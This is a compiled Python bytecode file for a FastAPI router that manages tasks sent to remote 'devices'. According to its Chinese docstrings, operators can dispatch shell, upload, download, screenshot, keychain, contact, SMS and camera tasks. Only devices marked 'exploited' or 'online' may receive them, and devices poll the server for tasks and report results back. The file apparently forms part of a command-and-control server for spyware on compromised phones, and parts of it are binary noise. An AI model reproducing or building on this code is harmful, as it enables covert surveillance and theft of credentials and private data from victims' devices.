a
    ?j                     @   s  d Z ddlmZmZmZ ddlmZ ddlmZ ddl	m
Z
 ddlZddlZeddgd	Zejd
ejdee
fejedddZejdeej dee
fejedddZejdeej dee
feedddZedee
fejedddZejdeej dddee
feeeedddZejd ejdee
feed!d"d#Zed ee
feed!d$d%Zejd&eej ddddee
feeeed'd(d)ZdS )*u   任务管理 API 路由    )	APIRouterDependsHTTPException)Session)List)get_dbNz
/api/taskstasks)prefixtagsz/create)response_model)taskdbc                 C   sJ   t || j}|stddd|jdvr>tdd|j ddt || S )u   
    创建单个任务
    支持的任务类型：shell, upload, download, screenshot, keychain, contact, sms, camera, etc.
      Device not foundstatus_codedetail	exploitedonline  u   设备状态为 'uF   '，无法接收任务。请等待设备完成漏洞利用后再试。)crud
get_devicedevice_uuidr   statuscreate_task)r   r   device r   &/root/Coruna-main/backend/api/tasks.pyr      s    
r   z/create/batch)batchr   c                 C   s~   g }| j D ]J}t||}|s2tdd| dd|jdvr
|| d|j d q
|rrtdd	d
| dt|| S )uN   
    批量创建任务
    支持同时向多个设备下发相同任务
    r   zDevice z
 not foundr   r   z ()r   u/   以下设备状态无效，无法接收任务: z, )device_uuidsr   r   r   r   appendjoincreate_batch_tasks)r   r   Zinvalid_devicesr   r   r   r   r   r$      s    

r$   z/poll/{device_uuid})r   r   c                 C   sF   t || }|stdddt || }|D ]}t ||jd q,|S )uU   
    设备轮询待执行任务
    返回该设备所有pending状态的任务
    r   r   r   running)r   r   r   get_pending_tasksupdate_task_statusid)r   r   r   r   r   r   r   r   
poll_tasks4   s    r)   z/result)resultr   c                 C   s<   t j|| j| j| j| jd}|s,tdddd| j| jdS )uH   
    设备提交任务执行结果
    更新任务状态和结果
    )r*   error_messager   Task not foundr   T)oktask_idr   )r   r'   r.   r   r*   r+   r   )r*   r   r   r   r   r   submit_task_resultH   s    r/   z/device/{device_uuid}d   )r   skiplimitr   c                 C   s.   t || }|stdddt j|| ||dS )u!   获取指定设备的任务列表r   r   r   )r1   r2   )r   r   r   get_device_tasks)r   r1   r2   r   r   r   r   r   r3   \   s    r3   z
/{task_id})r.   r   c                 C   s    t || }|stddd|S )u   获取单个任务详情r   r,   r   )r   get_taskr   r.   r   r   r   r   r   r4   g   s    r4   c                 C   s(   t || d}|stddddddS )u   取消任务	cancelledr   r,   r   TzTask cancelled)r-   message)r   r'   r   r5   r   r   r   cancel_taskp   s    r8    )r1   r2   r   r   c                 C   s|   ddl m} tddgdj}|rV|||j|k||j	| 
| }|S ||||j	| 
| S )u<   
    获取所有任务列表
    支持按状态筛选
    r   )descz..modelsTask)fromlist)
sqlalchemyr:   
__import__r;   queryfilterr   order_by
created_atoffsetr2   all)r1   r2   r   r   r:   r;   r   r   r   r   
list_tasksy   s    
rE   )__doc__fastapir   r   r   Zsqlalchemy.ormr   typingr   databaser   r   schemasrouterpostTaskOut
TaskCreater   TaskBatchCreater$   getstrr)   
TaskResultr/   intr3   r4   deleter8   rE   r   r   r   r   <module>   s,   "
